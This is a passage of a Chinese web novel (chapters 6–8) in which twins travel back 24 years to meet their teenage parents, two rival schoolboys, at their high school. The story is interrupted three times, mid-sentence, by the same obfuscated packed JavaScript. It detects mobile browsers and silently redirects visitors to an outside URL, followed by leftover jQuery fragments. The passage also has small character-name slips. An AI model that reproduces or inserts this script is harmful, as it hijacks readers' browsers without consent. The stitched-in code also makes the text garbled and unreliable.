天真吗?或许吧,但为了父母,他们宁愿尝试。
兄妹俩小学时学过游泳和潜水,如果许完愿没什么反应,他们就浮出水面游回岸边。
这么想着,自然就没什么好怕的了。
两人对视一眼,一起憋了一大口气,将脑袋扎进了咸湿的海水中。
他们牵着手往深了潜,潜到大概距海面五六米深时,悬浮在了海水之中。
周身是静谧的深蓝,兄妹俩仰头向上望去,一轮圆月悬在漆黑无垠的夜空之上,清冽的月光穿透层层水波,在海水中漾开朦胧柔和的光影。
漂亮极了,也梦幻极了。
两人松开牵着的手,各自双手合十,神情虔诚地许下心愿。
路羽在心中默念:“求求月神,让我们回到几年前吧,回到我父亲身体健康的时候,重来一次,我们一定保护好他。”
柯辛在心中默念:“月神姐姐,求求你帮帮我们,虽然我们马上就要脱离高考的苦海,但为了爹地和爸爸,我们愿意回到三年前,重新再过三年高中,我们只想早些发现爹地的病,早早治好他。”
默念完毕,两人默契地静静等待了一分钟,睁开眼对视,用眼神交流:“什么都没发生?”
正要失望时,突然间,夜空中打过一道无声的闪电,在海里投下亮白的残影,只听“咻”的一声,深蓝海水消失了,冰凉的触感消失了,原世界一切都虚化了,兄妹俩只觉眼前一片刺眼的白,亮得他们睁不开眼。
一阵疾风过后,哗的一下,两个身体倏然出现在了一条街道上,一个泛着酸臭味的垃圾桶旁边。
兄妹俩睁开被强光照射还未能完全适应的双眼,微微模糊的视线中,周围景象十分陌生。
柯辛简直难以置信,却又欣喜万分,她颤着声音问路羽,生怕稍大点声就会穿回去。
“哥,哥,我……我……我们……真的……穿越了?”
路羽也有些懵:“好……好像是。”
两人站起身来,一边揉着穿来时被撞痛的肩膀,一边环顾四周。
这里没有遍地的高楼,没有刺眼的霓虹灯,路边立着年代剧里那种老式的绿色电话亭,街道边停着几辆老式自行车,对面小卖部挂着褪色的帆布招牌,到处充斥着满满的老旧气息。
完全……没有三年前的样子。
两人走近一家小超市,门口有店员正在发放促销商品的传单,柯辛接过一张,一看上边的日期,震惊得眼睛都瞪大了。
兄妹俩异口同声:“二零零四年?”
蓦地,两人耳边冒出一道声音:“抱歉二位,系统出bug了,你们穿回的,不是三年前,而是,二十四年前,并且,不能重穿哦。”
“这个时候,你们的父母,只有……十七、八岁,刚升高三。”
兄妹俩:“……!”
6. 呲水大战
兄妹俩看了看彼此,路羽说:“这好像……比只穿回三年前,有趣多了。”
柯辛已经为见到爸妈而激动不已了,“对啊,我们知道未来,说不定能做很多改变。”
路羽庆幸道:“还好我们把东西都带上了。”
少女迫不及待地拉起哥哥的手,“走,去找爸妈。”
路羽叫住她:“先别急,你知道去哪儿找?”
柯辛回忆起来:“我记得爸爸曾经跟我说过,他和爹地是初中高中的同学,一直不对付来着,高中学校好像是……博恒中学。”
路羽摸了摸妹妹后脑勺:“还是我妹厉害,这都能记住。”
两人除了拿着证明身份的资料证件,还拿了各自的手机。
只不过,二十四年后的5g手机,在这个年代根本用不了,就连时间都是错乱的。
他们想买个手机,可走进手机营业厅,才发现他俩没拿现金,柯辛问了一句能不能扫二维码手机支付,直接被店长看神经病一样的眼神给赶了出来。
没钱买手机,不过好在路羽在试新手机的时候记下了现在的时间:九月八日傍晚六点半,周日。
“周日六点半,现在爸妈在学校吗?”
柯辛:“不知道啊,咱们去问问。”
兄妹俩找路人问了博恒中学怎么走,按照路人指认的方向来到了校门口。
在这个年代,博恒中学的校门建的可以说相当气派了,柯辛感叹:“不愧是我爸妈当年上过的学校。”
两人站在大门口往里望,校园里学生不多,也幸好是周末,学生可以不穿校服,他俩顺着人流往进走,没有引起传达室爷爷的怀疑。
兄妹俩的颜值遗传自柯栩和路辞,外形条件极好,少年挺拔帅气,眉眼间带着疏冷的气质,少女五官精致漂亮,身型高挑纤细。
两人一进校门就引来不少同学纷纷侧目,在之前的学校早已习惯被人追捧的路羽和柯辛,对此倒是习以为常。
柯辛性格偏社牛一些,她拦住一个女生,客气问道:“同学,麻烦问一下,你知道柯栩、和路辞,分别在哪个班吗?”
她有自信一定能问出来,毕竟就她爸妈那气质那颜值,必然是全校皆知的风云人物。
果然,女生回答道:“他俩在一个班,高三八班。”
得到消息,兄妹俩快步上楼,直奔八班教室,结果到了门口往里一看,教室里空空荡荡,只有一个男生在那里写作业。
经询问才得知,高三生周日有一整天休息,住校生会来上晚自习,但走读生周一早晨才到校。
而恰好,柯栩和路辞都是走读生。
满怀希望地兄妹俩泄力一般,只得失望离开。
爸爸曾经说过,他小时候住在一处小四合院里,可是这么大的城市,具体是哪条街哪条胡同,哪个小院,兄妹俩无从得知。
看来,只能等到明天周一了。
他俩穿来之前是半夜凌晨一点钟,来到这里是下午,其实早就困了,可是他们没地方睡。
一路漫无目的地游荡半天,晚上八点的时候,又困又饿。
之前可没人告诉过他们,穿来的第一件事,是先学会身无分文地生存。
兄妹俩不经意看到路边蹲坐的乞讨者,互看一眼,连连摇头。
这时,经过一家快餐店,路羽注意到了玻璃门上贴着的招聘信息,他上前一看:急招小时工,日结,管吃。
兄妹俩眼前一亮,撩开门帘走了进去。
恰好碰上老板一个人在忙着洗碗刷盘子,路羽问:“请问……您这儿招小时工?”
老板操着一口当地口音:“对,服务员有事回老家了,我这儿一个人忙不开。”
他看了看兄妹俩,那气质一看就是家庭条件很好的孩子,老板皱着眉问:“你俩都干?”
路羽点头:“嗯,工时费多少钱?”
老板:“五块钱,但只招一个,招俩我就亏了,那点儿活,一个人足够。”
兄妹俩愣住了,对五块钱在这个年代的购买力没有任何概念,只知道在二十四年后,五块钱,只够买一支碳素笔。
老板见他俩没反应,撇嘴道:“怎么,嫌少啊,五块一小时可不少了,别人家干一天才二十好嘛。”
看着饿到肚子咕噜响的妹妹,路羽点头道:“行,我干。”
老板指指后厨:“你的工作就是洗碗收拾后厨,都洗干净打扫干净,直到十点打烊。”
“哦对了,你俩一起干也行,但我只付一个人的工钱。”老板又欠欠地补充了一句。
从小锦衣玉食的柯辛哪里受过这气,扭脸就想跟老板理论,被路羽一把拉住胳膊,冲她摇头。
老板倒也不是完全不讲理的人,又说:“一会儿你俩的饭,我都管行了吧。”
柯辛撇了撇嘴:“这还差不多。”
身高一米八八的路羽矮身进了后厨,柯辛也跟了进来,看着满地的狼藉,兄妹俩深吸一口气,低头干了起来。
别看路羽出身好,从小家务活没少干,原因是他爸认为参与家务能培养孩子的自主能动性和家庭责任感。
对于女儿,路羽就会宽松很多,本着富养去的,家务活想干就干,不想干就不干,女孩嘛,拿来宠的,男孩要顶天立地,是用出来的。
路羽手脚麻利,没用妹妹帮什么忙,不紧不慢又不拖拉地干了两个小时,把后厨打扫了个干干净净。
老板进来一看都愣住了,笑着夸道:“没看出来嘛,还挺能干!”
他掏出一张十元钞票,递到路羽手里:“等着,我给你俩煮面去。”
接过现金,路羽对于这人生中的第一份工资,居然感觉还不错。
饿了近十个小时,兄妹俩早已饥肠辘辘,两人狼吞虎咽地吃完,已经是晚上十点半了。
饭是解决了,睡的地方还没着落。
又是一通漫无目的地走,路过一个老旧火车站时,路羽拉着妹妹走了进去。
没办法,今晚就在这儿凑合一晚吧。
火车站候车室里的空座位很多,就是硬邦邦的,但怎么也比睡大街吹冷风强。
兄妹俩是被鼎沸人声吵醒的,两人揉着眼睛醒来,身边全是人,路羽看了眼大厅里的石英钟,早晨七点。
“啊……这一夜总算过去了。”
妹妹打了个哈欠:“很快就能见到爸妈了,哥,我们走吧。”
两人买了两瓶矿泉水,在水池边漱了漱口,剩下的,留着喝。
出了火车站,路辞突然想到:“等等,去了正好赶上高三上早自习,今天周一,咱俩没穿校服、更没任何身份,是进不去的。”
柯辛也是才意识到这一点。
两人纠结的功夫,这时,脑海中的那个空灵的声音又响了:“二位,博恒中学已经有你们的学籍了,你们以转校生身份入学即可哦。”
兄妹俩一同出声:“学籍?”
系统笑了声:“是的,施了点小小的魔法,毕竟,穿都穿来了,怎么能让你俩没学上呢。”
路羽想到什么,问:“那我俩能转到高三八班吗?”
系统:“当然可以,目的就是让你们一家四口团聚啊。”
柯辛可太喜欢这个系统了,兴奋的她都想抱住系统大亲一口。
任务完成,系统声音渐远:“有事再呼叫我咯。”
-
另一边。
梧桐街香堂庙胡同里的一处小四合院里。
一大早,杨丽梅大力敲响儿子卧室的门:“你瞅瞅都几点了,还睡?”
没听见回应,她索性直接推开门冲了进去,火气不是一般的大,见儿子依然死猪一样睡着,杨丽梅抄起书桌上的一本书,就往儿子屁股上挥打。
“都叫你半个小时了,你个兔崽子,还不起床,什么时候就知道自觉,啊?操碎了心我真是!”
“诶妈!别打!”柯栩躲开老妈的捶打,睡眼朦胧地挣扎起来,顶着个毫无形象的飞机头摔下了床。
他一边揉屁股一边往身上套衣服,还不忘顶嘴:“你总得让我睡醒吧,不然我上课还不是要困得睡觉。”
杨丽梅懒得听他那些废话,抬手用食指用力戳他脑袋,把柯栩脑袋戳得一歪一歪的。
女人一脸的恨铁不成钢,脸上还带着毫不掩饰的嫌弃,她指指窗外洗漱的路辞:“你看看人家路辞,什么时候用大人操心过?人家就是那么自觉,学习好,成绩好,你再看看你自己,整天没个学生样,跟人家一比,简直一个天上一个地下,我真是倒了八辈子血霉,摊上你这么个儿子。”
“切。”柯栩抓抓头发,“有什么了不起。”
他自己要是好好学习,成绩未必就比那家伙差。
母亲的唠叨和贬低每天都在上演,柯栩早就麻木了,他撇撇嘴,也拿着刷牙杯走了出去。
小院面积不大也不算小,院子正中间是一小排水池,供租户们用水。
其实每户家里都有自来水,院子里的水池更方便手洗衣服什么的。
柯栩出来的时候,路辞刚好洗完脸,他一抬头,就看见从对门走出来的柯栩。
身型高挑的少年穿着洗得发皱的白色校服体恤,一阵微风吹来,衣摆一晃一晃,里头空荡荡的,衬得肩背有些单薄。
柯栩正对上路辞的目光,没好气地瞪了他一眼。
他一看见路辞就不爽,这个他
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17437791|201002||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
妈嘴里别人家的孩子,可以说是他从初二到现在长达四年的阴影。
他妈只要骂他,必会搬出路辞来,那个样样都拔尖的优等生,把他衬得狗屁不是。
之前总听别的同学说,路辞家境如何如何不一般,穿的用的都是名牌,书法钢琴样样精通,一看就是从小接受过精英教育的人。
而路辞的妈妈,那个一年只回来住几次的女人,妆容精细,知性高贵,气质完全不输女明星,也的确印证了那些同学的猜测。
柯栩就不明白了,这样的家庭为什么要来这穷酸小院里住,体验生活?成心给他添堵?
所以,他和路辞渐渐的,成了全校皆知的……死对头。
他看路辞,怎么看怎么觉得不顺眼,路辞看他,应该也是不顺眼的。
柯栩本来可以在他那一侧洗漱的,但他绕了一下,特意来到路辞用过的水池前,用胳膊肘撞开路辞,语气不善:“别挡着,用完赶紧让开。”
路辞被撞的后退一步,脸上不喜也不怒,冷冽眉宇间透着几分不明意味的轻嘲。
杨阿姨嗓门大,方才她骂柯栩的话,一字不落地全部进了路辞的耳朵。
看来,是被骂生气了。
路辞伸手把住水龙头,一开口,声音就像裹了磁:“六个水龙头呢,你偏用这个?”
柯栩动作停在半空,扭脸挑眉道:“对,我就用这个!怎么,不行?”
“行是行,”路辞扯了扯嘴角,“但总得有个先来后到吧。”
柯栩“啧”了声,不耐道:“你不是已经洗完了吗?”
这时,屋里又传来杨丽梅的催促声:“那么多水龙头,你跟人家抢什么?显着你了!这孩子。”
柯栩一听,怒气上涌,二话不说两手直接上去掰路辞的手,两人不对付好几年,路辞了解柯栩脾性,一开始就攥得很紧,柯栩半天没掰开。
这时,屋里闹钟响了,路辞手上动作松了一瞬,柯栩趁虚一用劲儿,拧开了水龙头。
由于出水口被两人的手指头堵着,水流瞬间朝四周呲得到处都是。
最先遭殃的,就是路辞的白色校服体恤,腹部面料湿了一大片,而柯栩还好,只溅了几点。
柯栩正要得意,谁知下一秒,路辞手上转着方向一用力,水流瞬间也溅到了柯栩校服体恤上,被溅湿的面积比路辞的还大了不少。
路辞的视线落在柯栩身上,纯白的布料湿哒哒贴在少年腹部,原本窄瘦的腰显得越发纤细。
正值年少轻狂的时候,这一闹,两人也不顾及衣服湿成啥样了,直接互不相让,开启了呲水大战,柯栩朝开的方向用力,路辞朝关的方向用力。
又一声杨丽梅的喊叫传来,俩人才停下。
此时,他俩上半身都已经湿透了,杨丽梅快步走过来,对着自家儿子劈头盖脸一通骂:“你看看你,非要找人家的茬,湿成这样,还怎么上学!”
周一升旗必须穿校服,不然罚站是小,三千字检查才是最让人头大的。
柯栩看向路辞,本想嘲笑路辞的窘迫,却正对上路辞不以为意的眼神。
他还纳闷呢,就见路辞转身进了屋,不过半分钟,那家伙换了一身干爽的同款夏季校服体恤出来。
靠,路辞居然有两套夏季校服。
对于只有一套的柯栩来说,这一战,他败了。
两分钟后,只得换上秋季校服的柯栩黑着个脸走了出来。
-
两人一前一后卡着点儿进的教室,全班唯一一个穿着秋季校服的柯栩成了班主任重点关注的对象。
班主任程连之叫住最后一个进班的柯栩:“你怎么回事?三十二度的天气,你穿秋季校服?夏季校服呢?”
柯栩半垂着眼:“洗了,没干。”
“别人的都能干,就你的干不了。”程连之指指教室里头,还不忘强调惩罚:“进去吧,两千字检查,放学给我。”
靠,还是没逃过。
柯栩眉宇间瞬间爬上一片阴云,他越过班主任往里走,对上最后一排路辞的视线时,盯着对方的眼神恨不得能烧起火来。
少年来到自己的座位,坐在了路辞旁边。
没错,他俩不仅同班,还是同桌。
冤家路窄。
上完早自习,第一节就是班主任的语文课。
上课铃一响,同学们各自归位,教室渐渐安静下来。
程连之拿着教案走进教室,他轻拍桌面,说:“上课前先说件事啊,咱们班这学期呢,转来两位转校生,以后,就和我们大家一起学习,共赴高考了。”
他扭头看向门口,微笑着示意柯辛和路羽进来,“来,让我们欢迎新同学。”
7. 绝世屁王
班主任话音刚落,众人齐齐看向前门口,就见两位转校生一前一后走了进来,在讲桌旁并排站定。
站左边的是个五官精致漂亮的长发女生,站右边的是个眉眼凌厉略带疏冷感的帅气男生。
在博恒中学,最不缺的就是高颜值的男生女生,但这么多年,帅得让人过目难忘的,不多,两个手都数的过来,而柯栩和路辞就是其中最具代表性的两个,帅得极具辨识度。
自升高中以来,路辞常年霸榜学校论坛校草榜第一位,柯栩由于那张帅气中透着几分昳丽的脸,不仅能经常跟路辞在校草榜一争高下,还时常会被一些女生排进校花榜里。
曾经有一段时间,柯栩霸榜校花榜长达两个月之久,可把他给气坏了。
而现在,看着讲台前超高颜值的两位转校生,有女生窃窃私语:“看来,那两个榜单的前三名,要换水了。”
程连之脸上挂着惯常的笑:“来,让我们有请新同学自我介绍。”
柯辛性格外向,大方道:“大家好,我叫柯辛。”
路羽性格偏高冷,简短道:“我叫路羽。”
为方便同学之间熟识彼此,两人随即上台将自己的名字写在了黑板上。
放下粉笔转过身,柯辛又俏皮一笑,加了句解释:“我俩是龙凤胎,我随妈姓,我哥随爸姓。”
她说罢,直接看向了最后一排的路辞和柯栩二人,想看看她爸妈脸上什么反应,一定很有趣。
话音刚落,教室里瞬间响起了掌声。
哄然间,不少同学在交头接耳,甚至还有同学朝后看向了后排的死对头二人。
“柯”姓,和“路”姓都不是常见的姓,在八班只有柯栩和路辞,而新转来的龙凤胎,不仅姓是这两个,就连他俩的名,居然是柯栩的“栩”的右半边,和路辞的“辞”的右半边,还相互换了一下。
也太巧了,这不禁让大家浮想联翩。
转校生,不会和他们班的那对死对头,有什么特殊关系吧。
柯栩平时上课就总吊儿郎当的,总被老师教训没个学生样,新同学而已,跟他又没什么关系。
方才他们自我介绍时,他甚至有一阵走神,直到那对龙凤胎的名字出现在了黑板上,他才定睛看了过去。
察觉到不少同学投来的异样目光,柯栩总觉得哪里不大对劲。
而一向情绪不外露的路辞,看着黑板上的名字,也轻蹙了下眉头。
距离打上课铃已经过去了三分钟,高三学业紧,程连之便给兄妹俩安排座位,刚好路辞和柯栩前桌有两个空座位,一个转走了,另一个因压力大暂时休学了。
兄妹俩得知他俩能一起坐在爸妈前桌,面上没表现出什么,心里甭提多开心了。
和之前不一样,在这个时代,经过一晚的颠沛流离之后,总算见到爸妈的归属感在此刻达到巅峰。
程连之翻开教案:“现在咱们开始上课。”
高三开学已经有一周了,兄妹俩由于刚转来,还没领新课本。
程连之提醒道:“新同学先跟周围同学借着看一下。”
柯辛应了声“好”,摩拳擦掌。
她转过身,两手把在椅背上,灵动的大眼睛眨了眨,开口就想叫妈,对上柯栩蹙眉不耐的表情,立马改口道:“那个,同学,借用一下你的语文课本可以吗?谢谢。”
少女内心:我和哥哥不仅有书看了,爸妈还能一起看书增进感情,一举两得。
谁知柯翊并不是怜香惜玉的人,一口回绝:“不行。”
话刚出口,他就有些不忍,对女生这么冷漠不是他的风度,但他在课本上画了一堆乱七八糟的东西,让人家女生看了不好。
柯辛努努嘴,倒没太失落,她微转了下身,看向爹地路辞:“路同学,你能把书借我们吗?”
不等路辞给出回应,柯栩一把按住路辞的课本,帮他回绝:“他的也不行,你……你去找别人借吧。”
笑话,路辞的课本借给前桌,他就要和路辞一起看自己的课本。
他才不要,路辞会笑话死他的。
蓦地,“啪嗒”一声,一小截粉笔头不偏不倚砸在了柯栩桌面上,程连之指着他斥道:“做什么呢?借个书有这么费劲?”
众人齐刷刷看向后排,空气凝固一秒。
柯栩张了张嘴,不知该怎么解释。
正当他打算把自己的课本递给前排女生时,一旁的路辞拿起他压着书的手,将课本递给了柯辛:“给,你俩看吧。”
柯辛笑了笑:“谢谢……路同学。”
程连之拍拍讲桌:“都看什么看,转过头来。”
课继续上,兄妹俩翻开路辞的课本,书页上干干净净,甚至前几页已经上过的课程,都没有任何记录的痕迹。
不愧是学神,连笔记都不带记的。
而此刻的后排,路辞看向柯栩,示意他一起看,柯栩却死死按住语文书,不打算给路辞看。
死对头二人已经僵持了有半分钟。
路辞弯了弯唇,微凑近柯栩一些,低声调侃道:“你书里,不会是画了什么见不得人的东西吧。”
柯栩扭脸,气鼓鼓地瞪了路辞一眼,怼他:“你才见不得人。”
路辞指尖熟练地转着笔,语气逗小孩一样:“再不打开书,我举手叫老师了。”
说着,他右手缓缓抬了起来。
此时,程连之刚写完板书,他放下粉笔,眼看就要转过身来,柯栩咬咬牙,朝右伸手按下路辞的胳膊,没好气地将课本摊开,摆在了两人课桌正中间。
今天讲的内容是上节课的补充,所以翻开的依然是上次课的页面。
对于书里的东西,路辞做好了心里准备,可没成想在看到的一瞬间,他还是愣住了,眼神都直了片刻。
不同于大部分同学干干净净的课本,柯栩的课本页面上,只要是没字的边边角角,空白位置,全部被他画满了可爱的卡通漫画。
一格一格还有对话,怪搞笑的。
尤其其中一行四格小漫,主角头顶居然写着他路辞的名字,画的是两人打拳击比赛:卡通版柯栩把路辞按在地上摩擦,路辞反过来把柯栩扳倒在地,柯栩起身的同时无意间朝路辞放了个屁,路辞立马就被熏晕了,最后,柯栩胜利,观众喝彩。
路辞平时很少笑,属于情绪不外露笑点又很低的人,可看见这个,他一时竟有点绷不住,喉间发出轻微的一声“嗤”,差点笑出声来。
柯栩顺着路辞的视线一看,就知道这货的关注点在哪儿,他急忙捂住课本下方,低声呛他:“笑什么笑?被我的才华折服了?”
“确实。”路辞很给面子的恭维,还不忘在柯栩痛点上按一下,“那个屁,还挺形象。”
他一改往日疏冷,又调侃了句:“你还有这能耐呢?绝世屁王?”
柯栩:“……!”
靠,想他一世英名。
全毁在这儿了。
柯栩气呼呼的,恨不得上着课就给路辞一棒槌,他切了声:“没错,别惹我,不然小爷我熏死你!”
这时一边讲课一边在过道徘徊的程连之走了过来,两人之间的小插曲才算落幕。
窒息又怪异的感觉几乎笼罩了柯栩一整节课,下课铃响,柯栩一秒钟都不想再让路辞多看,立刻合上了自己的书。
他课间很少在座位上呆着,就喜欢在楼道里转悠杵着和男生聊大天,要么去隔壁班找发小。
路辞也因有事去了老师办
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17437792|201002||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
公室。
柯辛转过头打算还书,顺便和爸妈搭个讪,才发现后排两人都出去了。
一上午都是如此,兄妹俩几乎没找到任何机会和爸妈说话,柯辛出去找都找不到人,郁闷的她都想上课给他们传纸条了。
纸上更说不清,估计还会被当成神经病吧。
午饭可以在学校食堂吃,办张饭卡充钱就能买。
路辞很少吃食堂,有时候会去他外公家里吃,有时会回小院的家自己做着吃。
柯栩大多数时候吃食堂,偶尔回家吃。
转校生由于刚转来,饭卡还没来得及办,午饭可以暂时用现金付。
中午最后一节下课铃响,兄妹俩一扭头,又找不到人了。
一问才知道路辞回家了,他俩便去找柯栩,可来到食堂,柯辛远远看见她爸正和好几个男生一边吃一边聊天,她和哥哥根本没法近身。
路羽安抚妹妹:“得等他身边没人的时候找他。”
柯辛撇了撇嘴:“可是,明天咱俩要交学杂书本费,要充饭卡,今晚去哪儿住还没着落,我不想住校,我就想跟爸妈一起住。”
“放心,晚上一定拦住他俩。”路羽看着手里仅剩的八块钱,“这些应该够咱俩吃顿午饭了。”
果真,付完午饭钱,兄妹俩又身无分文了。
-
下午。
柯栩和几个男生在走廊窗台边杵着聊天,有男生说:“哎柯栩,今天新转来那对龙凤胎,他俩的名字,我咋觉得跟你和路学神的名字那么像呢,你看啊……”
不等那男生详细表述出来,柯栩扬手打断他:“行了,我早看出来了。”
针对他们四个人的名字,班里同学议论了快一整天,甚至还有人说龙凤胎长得像他和路辞,都在猜测他们之间的关系,听得他都烦了。
靠,能有什么关系。
名字凑巧相近的陌生人呗。
一节一节总算熬到放学,前排的兄妹二人长记性了,在下课前五分钟,时不时歪头用余光看后边。
而离后门最近的死对头二人,最近迷上了争夺第一个出班门的光荣之位。
这事起因是上周刚开学第一天,路辞因为有急事,放学着急走,柯栩好胜心强又总喜欢跟路辞对着干,就加快速度转身挤了下路辞,先他一步出了教室。
路辞觉得柯栩实在是幼稚,本不想跟他争这个,可后来他发现这么跟柯栩抢也挺有意思,本着逗他玩的心态,配合着争了几次,一直持续到这周。
从胜负次数来看,二人不分高下。
今天放学,他俩一如往常,早早收拾好了书包,就等下课铃响。
谁知前排的路羽正紧盯黑板上方的石英钟,在秒针还差三秒打向十二点的时候,拉着妹妹一起转过了身。
面对两张看着有那么点熟悉的面孔,柯栩怔然一瞬,下一秒,放学铃声响起。
柯栩正准备走,不料,他还没起身,前桌的女生迅速按住了他的手,力气还不小。
“喂你!?”柯栩差点惊呼出声。
男女有别,他还从没摸过女生的手哎,这怎么就……就被摸了?
另一边,那冷面男生也拽住了路辞的书包。
这下,可把柯栩搞蒙了。
这对兄妹,不会真跟他和路辞有什么关系吧?
柯栩眉心微蹙,抽出手没好气道:“你俩要干嘛?”
柯辛掩下被爸爸嫌弃的小小失落:“我俩有很重要的事找你们。”
一直沉默的路辞开口了:“有多重要?”
前排跟路辞有着一样疏冷眉眼的路羽沉静注视着他俩,说:“关乎……你们未来的……幸福。”
死对头二人:“……!?”
8. 被叫爸妈
周围吵吵嚷嚷,不少视线朝这边看过来,而他们四人之间,空气凝固,陷入沉寂。
两秒钟后,柯辛开口道:“等班里人都走了,我俩再跟你俩说。”
担心爸妈走掉,少女表情有些委屈,看上去可怜巴巴的:“千万别走,求你们。”
班里同学都收拾得很快,走读生回家,住校生去食堂吃饭,几乎没人磨蹭。
十分钟后,教室里只剩下他们四个,楼道里的人也寥寥无几了。
柯栩的耐心已经快消耗殆尽,他站起身往后退了一步,指着前排的龙凤胎故作生气的大放狠话:“到底什么事?你俩要是说不出个一二三来,别怪小爷我不客气。”
少年眉眼凌厉,张狂校霸的气息扑面而来。
柯辛眨眨眼,突然有点想笑。
呦,原来她爸小时候这么牛气呢,妥妥中二炸毛美少年啊。
一旁的路羽察觉妹妹走神,碰了碰她胳膊。
柯栩双手叉腰,正要再嚣张地来几句,猝不及防间,少女气息逼近,腰间被紧紧环住。
柯栩整个人都不好了。
啊啊啊,他在心里大叫。
他非但没碰过女生的手,更没被女生这么抱过。
这个转校生,仗着和他同姓,就这么随意抱人,怎么能这样!太离谱了!
柯辛在柯栩怀里,用耳朵蹭了蹭他的校服领子,张口便是带着委屈的哭腔:“妈,我们可算找到你了。”
什……什么?妈?!
柯栩两臂僵在半空,整个人如遭雷击:“!!!”
不是,认错人也至少找个年龄合适的女人叫妈吧,管他一个男高中生叫妈?
神经病吧!眼神不好?
柯栩从没碰过女生的身体,正犹豫着要怎么推开身前的少女,就见那女生又去拉一旁路辞的手,晃了又晃,看着他俩一脸委屈道:“爸,妈,你们别离婚,别不要我和我哥啊!”
其实在穿越之前,柯辛早就不担心她爸妈离婚的事了,只是一下子穿到了爸妈高三这年,还是他俩关系最差的时候,不这样装可怜的话,她想不出要怎么做才能勾起他俩的怜悯心了。
柯栩眼神跟看傻子一样,他后退一步,皱眉看着对面的龙凤胎兄妹,损起人来是一点不客气:“你俩别是从疯人院里出来的吧?”
路羽不会像妹妹一样上前黏黏糊糊地抱爸妈,他也不拐弯抹角,直接语出惊人道:“我俩是从二十四年后穿越过来的。”
这下,柯栩更加断定他俩脑子有问题了,他嗤笑一声:“穿越?小说看多了吧你!”
不仅他不信,路辞同样觉得荒唐,但对面的兄妹俩不仅姓名和他俩相近,长相也跟他和柯栩有几分相似,路辞从不妄下定论,便没吱声。
“不是,是真的!”柯辛急得跳脚。
兄妹俩急着自证,赶紧从背包里往出拿东西。
柯栩双臂环胸,一副等着看戏的姿态,下一秒,男生递过来两个红本本,“你们自己看。”
柯栩狐疑地接过,还真鬼使神差地翻开了那两本结婚证,路辞也看了过来,两人的视线同时聚焦在了中间页面上。
结婚证上,柯栩和路辞的红底证件照赫然在上,身穿白色衬衫的两人眉目清朗,面容褪去了少年的稚嫩,溢满幸福的笑容定格在拍下的瞬间。
而下方他俩的身份信息准确无误,领证登记日期显示五年后的十月份。
柯栩拇指正好按在钢印处,他无意识摩挲着那明显凸起的文字线条,感觉自己好像处在某个外太空的虚幻世界,怎么想怎么诡异。
而跟他“结婚”的另一半,竟然是他的死对头路辞,柯栩内心突然泛上一股怪异的感觉,恨不得离路辞远远的。
他仿佛扔烫手山芋一样把两个结婚证全部塞进路辞手里,眉心几乎拧成了疙瘩。
“什么玩意,假的做的很真的一样。”
谁知一直没说话的路辞猛不丁来了一句:“不像假的。”
他心怀疑虑却面不改色,问柯辛:“你刚才叫他……妈?”
柯栩一听“妈”这个字就炸毛,他拳头都硬了,反复强调:“老子是男的!男的!”
紧接着,一沓医院检查单递了过来,路羽:“爸,父亲,你们再看这个。”
呵,这小子他叫爸,还挺识相。等等,他管谁叫父亲,路辞?什么鬼?
柯栩无心纠结这个,他站的远,看着那沓纸被路辞接到手里,内心突然慌了一瞬。
靠,那又是什么乱七八糟的鬼东西。
他狐疑地走到路辞身边,台头上的孕检B超单几个大字差点没把他雷死。
再一行一行往下看,上面写着孕夫:柯栩,年龄:二十二,孕周:12周,异卵双胎。
随着路辞一页页往后翻,孕周越来越长,直到37周,大概有二十次那么多。
柯栩脸上表情彻底石化:“……”
呵,这个玩笑可一点也不好笑。
从第一页到最后一页,一直凝神翻看B超单的路辞,神情仿佛解数学题一样专注。
直到全部看完,他微蹙的眉心渐渐舒展开,视线一转,略带诧异的目光看向了柯栩的小腹。
那里,能怀孕?还怀了他的孩子?
柯栩瞬间感觉自己被冒犯了,他就像个动物园里的猴
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17437793|201002||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
子,被路辞用研究异类的异样眼光肆意观摩。
他指着路辞语气不善:“不是,姓路的,你那什么眼神?礼貌吗?啊?”
那眼神,仿佛精密仪器的探头,能穿过人的衣服和表皮,探查进人的身体里一样。
柯栩下意识捂住了自己的小腹,又突然觉得这样好矫情,好像自己肚子里真有什么奇怪的器官。
短短几分钟,他的大脑几乎被这颠覆世界观的情况给炸懵了,一时之间,柯栩自己都分不清,到底是他和死对头结婚炸裂,还是他怀了死对头的孩子更炸裂。
柯栩疾步上前,一把扯过路辞手里的孕检单,全部塞进了路羽怀里,警告意味明显:“收起你们那些乱七八糟造假的东西!”
说罢,他转身就朝外走,懒得再跟他们浪费一秒钟时间。
柯辛一看她爸居然不信,立马就慌了,几步跟上去拉住柯栩的校服袖子:“妈,哦不对,爸,爸爸,你别走!”
